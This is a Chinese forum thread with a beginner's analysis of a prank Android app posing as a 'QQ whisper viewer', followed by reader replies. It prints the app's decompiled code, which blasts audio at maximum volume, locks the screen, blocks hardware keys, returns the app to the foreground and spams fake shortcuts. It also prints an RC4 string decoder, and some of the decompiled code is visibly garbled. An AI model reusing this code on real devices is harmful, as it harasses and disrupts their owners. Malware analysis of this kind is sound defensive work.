yangjinbobo 发表于 2016-6-17 14:19

恶意app“qq悄悄话查询”浅分析

本帖最后由 yangjinbobo 于 2016-6-18 15:53 编辑

本人新手学渣,还未入门,所以只是浅浅地分析一下,求勿喷,如果有什么不对与不足,欢迎大家指出,我改正。
名称:    恶意app“qq悄悄话查询”浅分析                                                
作者:   yangjb5                                                   
报告更新日期:2016.6.17
样本发现日期:未知
系统: Android
样本传送门:http://www.52pojie.cn/thread-507095-1-1.html
                      http://www.52pojie.cn/thread-507330-1-1.html

首先,apk使用e4a编写,没有加壳。
应用界面是这样子滴:

打开之后不断循环播放OO声(真的好难听,鄙视作者的品味)

直接反编译:



因为是e4a编写的,所以我们直接看O文件

这是“主窗口”的Decompiled Java文件
package com.o;
import com.e4a.runtime.Objects;
import com.e4a.runtime.annotations.SimpleDataElement;
import com.e4a.runtime.annotations.SimpleObject;
import com.e4a.runtime.components.impl.android.n12.时钟;
import com.e4a.runtime.components.impl.android.n12.时钟Impl;
import com.e4a.runtime.components.impl.android.n28.系统设置;
import com.e4a.runtime.components.impl.android.n28.系统设置Impl;
import com.e4a.runtime.components.impl.android.n3.标签;
import com.e4a.runtime.components.impl.android.n3.标签Impl;
import com.e4a.runtime.components.impl.android.n4.图片框;
import com.e4a.runtime.components.impl.android.n4.图片框Impl;
import com.e4a.runtime.components.impl.android.n60.系统广播;
import com.e4a.runtime.components.impl.android.n60.系统广播Impl;
import com.e4a.runtime.components.impl.android.n76.系统闹钟;
import com.e4a.runtime.components.impl.android.n76.系统闹钟Impl;
import com.e4a.runtime.components.impl.android.显隐应用类库.显隐应用;
import com.e4a.runtime.components.impl.android.显隐应用类库.显隐应用Impl;
import com.e4a.runtime.components.impl.android.窗口Impl;
import com.e4a.runtime.components.impl.android.转跳类库.转跳;
import com.e4a.runtime.components.impl.android.转跳类库.转跳Impl;
import com.e4a.runtime.components.窗口;
import com.e4a.runtime.events.EventDispatcher;
import com.e4a.runtime.parameters.BooleanReferenceParameter;
import com.e4a.runtime.variants.ByteVariant;
import com.e4a.runtime.variants.DoubleVariant;
import com.e4a.runtime.variants.IntegerVariant;
import com.e4a.runtime.加密操作;
import com.e4a.runtime.媒体操作;
import com.e4a.runtime.对话框类;
import com.e4a.runtime.应用操作;
import com.e4a.runtime.算术运算;
import com.e4a.runtime.系统相关类;
import com.e4a.runtime.音量操作;

@SimpleObject public class 主窗口 extends 窗口Impl {
    @SimpleDataElement public static 窗口 主窗口;
    @SimpleDataElement public 图片框 图片框1;
    @SimpleDataElement public 时钟 时钟1;
    @SimpleDataElement public 时钟 时钟2;
    @SimpleDataElement public 显隐应用 显隐应用1;
    @SimpleDataElement public 标签 标签1;
    @SimpleDataElement public 系统广播 系统广播1;
    @SimpleDataElement public 系统设置 系统设置1;
    @SimpleDataElement public 系统闹钟 系统闹钟1;
    @SimpleDataElement public 转跳 转跳1;

    public void $define() {
      主窗口.主窗口 = this;
      主窗口.主窗口.标题("");
      主窗口.主窗口.背景颜色(0);
      主窗口.主窗口.布局(IntegerVariant.getIntegerVariant(4));
      主窗口.主窗口.显示方式(1);
      主窗口.主窗口.可否滚动(false);
      系统广播Impl v0 = new 系统广播Impl(主窗口.主窗口);
      Objects.initializeProperties(v0);
      this.系统广播1 = ((系统广播)v0);
      时钟Impl v0_1 = new 时钟Impl(主窗口.主窗口);
      Objects.initializeProperties(v0_1);
      this.时钟1 = ((时钟)v0_1);
      this.时钟1.时钟周期(0);
      系统闹钟Impl v0_2 = new 系统闹钟Impl(主窗口.主窗口);
      Objects.initializeProperties(v0_2);
      this.系统闹钟1 = ((系统闹钟)v0_2);
      系统设置Impl v0_3 = new 系统设置Impl(主窗口.主窗口);
      Objects.initializeProperties(v0_3);
      this.系统设置1 = ((系统设置)v0_3);
      图片框Impl v0_4 = new 图片框Impl(主窗口.主窗口);
      Objects.initializeProperties(v0_4);
      this.图片框1 = ((图片框)v0_4);
      this.图片框1.左边(((int)算术运算.取整(ByteVariant.getByteVariant(0).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕宽度())))));
      this.图片框1.顶边(((int)算术运算.取整(ByteVariant.getByteVariant(0).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕高度())))));
      this.图片框1.宽度(((int)算术运算.取整(ByteVariant.getByteVariant(1).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕宽度())))));
      this.图片框1.高度(((int)算术运算.取整(ByteVariant.getByteVariant(1).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕高度())))));
      this.图片框1.背景颜色(-1);
      this.图片框1.显示方式(1);
      this.图片框1.图像("6M5UBF2J9ZI70.jpg");
      this.图片框1.可视(true);
      转跳Impl v0_5 = new 转跳Impl(主窗口.主窗口);
      Objects.initializeProperties(v0_5);
      this.转跳1 = ((转跳)v0_5);
      显隐应用Impl v0_6 = new 显隐应用Impl(主窗口.主窗口);
      Objects.initializeProperties(v0_6);
      this.显隐应用1 = ((显隐应用)v0_6);
      标签Impl v0_7 = new 标签Impl(主窗口.主窗口);
      Objects.initializeProperties(v0_7);
      this.标签1 = ((标签)v0_7);
      this.标签1.左边(((int)算术运算.取整(ByteVariant.getByteVariant(0).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕宽度())))));
      this.标签1.顶边(((int)算术运算.取整(DoubleVariant.getDoubleVariant(0.95).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕高度())))));
      this.标签1.宽度(((int)算术运算.取整(ByteVariant.getByteVariant(1).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕宽度())))));
      this.标签1.高度(((int)算术运算.取整(DoubleVariant.getDoubleVariant(0.05).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕高度())))));
      this.标签1.标题("");
      this.标签1.背景颜色(0);
      this.标签1.字体颜色(-8355712);
      this.标签1.粗体(true);
      this.标签1.斜体(false);
      this.标签1.对齐方式(7);
      this.标签1.字体大小(10f);
      this.标签1.透明度(255);
      this.标签1.可视(true);
      v0_1 = new 时钟Impl(主窗口.主窗口);
      Objects.initializeProperties(v0_1);
      this.时钟2 = ((时钟)v0_1);
      this.时钟2.时钟周期(0);
      EventDispatcher.registerEvent(this, "系统广播1", "收到广播");
      EventDispatcher.registerEvent(this, "时钟2", "周期事件");
      EventDispatcher.registerEvent(this, "主窗口", "按下某键");
      EventDispatcher.registerEvent(this, "主窗口", "创建完毕");
      EventDispatcher.registerEvent(this, "标签1", "被单击");
      主窗口.主窗口.创建完毕();
      this.系统广播1.创建完毕();
      this.时钟1.创建完毕();
      this.系统闹钟1.创建完毕();
      this.系统设置1.创建完毕();
      this.图片框1.创建完毕();
      this.转跳1.创建完毕();
      this.显隐应用1.创建完毕();
      this.标签1.创建完毕();
      this.时钟2.创建完毕();
    }

    static {
    }

    public 主窗口() {
      super();
      Objects.initializeProperties(this);
      this.$define();
    }

    public void 主窗口$创建完毕() {
      音量操作.置音量(4, 100);
      音量操作.置音量(4, 100);
      音量操作.置音量(2, 100);
      音量操作.置音量(3, 100);
      媒体操作.播放音乐("0.mp3");
      媒体操作.置循环播放(true);
      this.标签1.字体大小(10f);
      this.标签1.标题("" + 加密操作.RC4解密("4B9D72700A8217D0", "0"));
      this.系统设置1.屏幕锁定();
      this.系统设置1.保持屏幕常亮();
      this.系统广播1.注册广播("后台服务广播");
      this.系统闹钟1.设置闹钟(1, 500, "闹钟");
      this.时钟1.时钟周期(500);
    }

    public void 主窗口$按下某键(int arg3, BooleanReferenceParameter arg4) {
      boolean v0 = arg4.get();
      if(arg3 == 24) {
            v0 = true;
      }

      if(arg3 == 25) {
            v0 = true;
      }

      if(arg3 == 82) {
            v0 = true;
      }

      arg4.set(v0);
    }

    public void 时钟2$周期事件() {
      this.时钟1.时钟周期(0);
      系统相关类.创建快捷方式2("QQ悄悄话查看器0", 2130837504, "http://");
      系统相关类.创建快捷方式2("QQ悄悄话查看器1", 2130837504, "http://");
      系统相关类.创建快捷方式2("快手双击工具2", 2130837504, "http://");
      系统相关类.创建快捷方式2("快手双击工具3", 2130837504, "http://");
      系统相关类.创建快捷方式2("QQ悄悄话查看器4", 2130837504, "http://");
    }

    public void 标签1$被单击() {
      对话框类.信息框("" + 加密操作.RC4解密("4B9D72700A8217D0", "0"), "" + 加密操作.RC4解密("35891F2916806DE1E71622A2DDD1EC7040CC953D96DFBA0145EE0E1F177C902D5CFDD9F787E0B14554D9103F81B7ECDA9E8BE63EA8CFF797820796B2DF4C1BE9856BA4659E76",
                "0"), "" + 加密操作.RC4解密("46AD6B2C1199", "0"));
    }

    public void 系统广播1$收到广播(int arg4) {
      int v2 = 100;
      主窗口.主窗口.标题(this.系统广播1.取广播内容());
      if(主窗口.主窗口.标题().equals("1")) {
            if(!应用操作.是否在前台()) {
                音量操作.置音量(4, v2);
                音量操作.置音量(1, v2);
                音量操作.置音量(2, v2);
                音量操作.置音量(3, v2);
                应用操作.返回应用();
                this.系统设置1.屏幕解锁();
            }
            else {
                this.标签1.字体大小(10f);
            }
      }
    }
}
功能很强势,
1.创建后台的闹钟服务通过闹钟服务循环播放XOO声并不断
置各种音量类型为最大。
2.创建时钟,周期为0,事件为创建五个快捷方式:"QQ悄悄话查看器0"
"QQ悄悄话查看器2""QQ悄悄话查看器3""快手双击工具2""快手双击工具3"
3.屏幕常亮
4.创建后台服务,判断应用不在前台则不断置各种音量为最大,然后返回应用,
并解锁屏幕。
另外,还有一个看不懂的地方:
public void 标签1$被单击() {
      对话框类.信息框("" + 加密操作.RC4解密("4B9D72700A8217D0", "0"), "" + 加密操作.RC4解密("35891F2916806DE1E71622A2DDD1EC7040CC953D96DFBA0145EE0E1F177C902D5CFDD9F787E0B14554D9103F81B7ECDA9E8BE63EA8CFF797820796B2DF4C1BE9856BA4659E76",
                "0"), "" + 加密操作.RC4解密("46AD6B2C1199", "0"));
    }
希望有大神指点一二。


总结:
   小白的个人总结:
      一、e4a编写apk使用的不是自己的编译器,它直接是连接了所有可能用到的类,然而作者的程序中用到的只有几个类,这就导致了一定程度上的冗余(不过         可以充当一定的代码混淆作用。)。
      二、这款app在技术上并没有什么出彩的地方,后台服务,霸占资源,难以关闭······但是,他在思想上的创新实在挺厉害。整个apk并没有太恶意的代码,就是一       个恶搞软件,然而恶搞方式是播放关不上的Xoo声,让人们在中招后的尬尴之际又觉出几分好玩,让人感觉:靠,这么有趣的恶搞,我中招了也不能让其他人好       过。于是加速了apk的传播。也有人在中招后为了解释自己的行为而将apk发送给其他人以证明自己的清白,这也加速了apk的传播。试想如果作者在其中加入      了恶意代码,凭这几天的传播速度与广度,这款apk该能造成多大危害。
      三、大家的安全意识还是不够,收到不明apk就直接打开,毫不考虑是否安全,这实在是要不得的。
      四、最后,上课玩手机实在很危险,在过去的几天里,各大高校各个课堂以及图书馆出现了大量的“开车现象”,实在是······{:301_998:}



static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.pnghttp://www.52pojie.cn/static/image/hrline/line3.png



   另外,将那段关于rc4解密的代码补充上:
@SimpleFunction public static String RC4解密(String arg4, String arg5) {
      String v1;
      if(arg4 != null && arg5 != null) {
            try {
                v1 = new String(加密操作.RC4Base(加密操作.HexString2Bytes(arg4), arg5), "GBK");
            }
            catch(Exception v0) {
                v0.printStackTrace();
                v1 = "";
            }
      }
      else {
            v1 = "";
      }

      return v1;
    }
private static byte[] RC4Base(byte[] arg9, String arg10) {
      int v4 = 0;
      int v6 = 0;
      byte[] v1 = 加密操作.initKey(arg10);
      byte[] v2 = new byte;
      int v0;
      for(v0 = 0; v0 < arg9.length; ++v0) {
            v4 = v4 + 1 & 255;
            v6 = (v1 & 255) + v6 & 255;
            byte v3 = v1;
            v1 = v1;
            v1 = v3;
            v2 = ((byte)(arg9 ^ v1[(v1 & 255) + (v1 & 255) & 255]));
      }

      return v2;
    }
private static byte[] HexString2Bytes(String arg7) {
      byte[] v2;
      try {
            int v3 = arg7.length();
            v2 = new byte;
            byte[] v4 = arg7.getBytes("GBK");
            int v1;
            for(v1 = 0; v1 < v3 / 2; ++v1) {
                v2 = 加密操作.uniteBytes(v4, v4);
            }
      }
      catch(Exception v0) {
            v0.printStackTrace();
            v2 = new byte;
      }

      return v2;
    }
private static byte[] initKey(String arg11) {
      byte[] v7 = null;
      int v10 = 256;
      try {
            byte[] v0 = arg11.getBytes("GBK");
            byte[] v5 = new byte;
            int v2;
            for(v2 = 0; v2 < v10; ++v2) {
                v5 = ((byte)v2);
            }

            int v3 = 0;
            int v4 = 0;
            if(v0 != null && v0.length != 0) {
                v2 = 0;
            }
            else {
                return v7;
            }

            while(v2 < v10) {
                v4 = (v0 & 255) + (v5 & 255) + v4 & 255;
                byte v6 = v5;
                v5 = v5;
                v5 = v6;
                v3 = (v3 + 1) % v0.length;
                ++v2;
            }

            return v5;
      }
      catch(Exception v1) {
            v1.printStackTrace();
            return v7;
      }
    }
private static byte uniteBytes(byte arg8, byte arg9) {
      return ((byte)((((char)((((char)Byte.decode("0x" + new String(new byte[]{arg8})).byteValue()))
               << 4))) ^ (((char)Byte.decode("0x" + new String(new byte[]{arg9})).byteValue()))));
    }


yangjinbobo 发表于 2016-6-18 15:38

本帖最后由 yangjinbobo 于 2016-6-18 15:45 编辑

天蝎的未来 发表于 2016-6-18 12:21
怎么解的?求告知,密钥在哪?
实际上它的代码里直接就有:
@SimpleFunction public static String RC4解密(String arg4, String arg5) {
      String v1;
      if(arg4 != null && arg5 != null) {
            try {
                v1 = new String(加密操作.RC4Base(加密操作.HexString2Bytes(arg4), arg5), "GBK");
            }
            catch(Exception v0) {
                v0.printStackTrace();
                v1 = "";
            }
      }
      else {
            v1 = "";
      }

      return v1;
    }
private static byte[] RC4Base(byte[] arg9, String arg10) {
      int v4 = 0;
      int v6 = 0;
      byte[] v1 = 加密操作.initKey(arg10);
      byte[] v2 = new byte;
      int v0;
      for(v0 = 0; v0 < arg9.length; ++v0) {
            v4 = v4 + 1 & 255;
            v6 = (v1 & 255) + v6 & 255;
            byte v3 = v1;
            v1 = v1;
            v1 = v3;
            v2 = ((byte)(arg9 ^ v1[(v1 & 255) + (v1 & 255) & 255]));
      }

      return v2;
    }
private static byte[] HexString2Bytes(String arg7) {
      byte[] v2;
      try {
            int v3 = arg7.length();
            v2 = new byte;
            byte[] v4 = arg7.getBytes("GBK");
            int v1;
            for(v1 = 0; v1 < v3 / 2; ++v1) {
                v2 = 加密操作.uniteBytes(v4, v4);
            }
      }
      catch(Exception v0) {
            v0.printStackTrace();
            v2 = new byte;
      }

      return v2;
    }
private static byte[] initKey(String arg11) {
      byte[] v7 = null;
      int v10 = 256;
      try {
            byte[] v0 = arg11.getBytes("GBK");
            byte[] v5 = new byte;
            int v2;
            for(v2 = 0; v2 < v10; ++v2) {
                v5 = ((byte)v2);
            }

            int v3 = 0;
            int v4 = 0;
            if(v0 != null && v0.length != 0) {
                v2 = 0;
            }
            else {
                return v7;
            }

            while(v2 < v10) {
                v4 = (v0 & 255) + (v5 & 255) + v4 & 255;
                byte v6 = v5;
                v5 = v5;
                v5 = v6;
                v3 = (v3 + 1) % v0.length;
                ++v2;
            }

            return v5;
      }
      catch(Exception v1) {
            v1.printStackTrace();
            return v7;
      }
    }
private static byte uniteBytes(byte arg8, byte arg9) {
      return ((byte)((((char)((((char)Byte.decode("0x" + new String(new byte[]{arg8})).byteValue()))
               << 4))) ^ (((char)Byte.decode("0x" + new String(new byte[]{arg9})).byteValue()))));
    }

lpylzx1 发表于 2016-6-17 18:54

4B9D72700A8217D0 => 免责声明
35891F2916806DE1E71622A2DDD1EC7040CC953D96DFBA0145EE0E1F177C902D5CFDD9F787E0B14554D9103F81B7ECDA9E8BE63EA8CFF797820796B2DF4C1BE9856BA4659E76 => 仅供整蛊娱乐,凡是使用本程序必须承担后果,请勿修改应用程序否则后果自负!
46AD6B2C1199 => 我同意

mmmmar 发表于 2016-6-17 14:26

昨天和妹子在公园人群里喂鸽子……

geeky 发表于 2016-6-17 14:28

逝去丶 发表于 2016-6-17 14:31

上课时,被同学打开了这个软件{:301_999:}

侧耳聆听 发表于 2016-6-17 14:33

确实很尴尬呀,还好我没下。

lf1169210280 发表于 2016-6-17 14:38

大神你带我飞可好

在你不远的距离 发表于 2016-6-17 14:42

这玩意 辛亏没用啊

Haccvn 发表于 2016-6-17 14:43

感谢楼主分析,上午我挂虚拟机看出来是病毒的。。。

coolboy 发表于 2016-6-17 14:49

这是易语言吗

Abby_小杰 发表于 2016-6-17 14:56

大神,膜拜!
页: [1] 2 3 4 5
查看完整版本: 恶意app“qq悄悄话查询”浅分析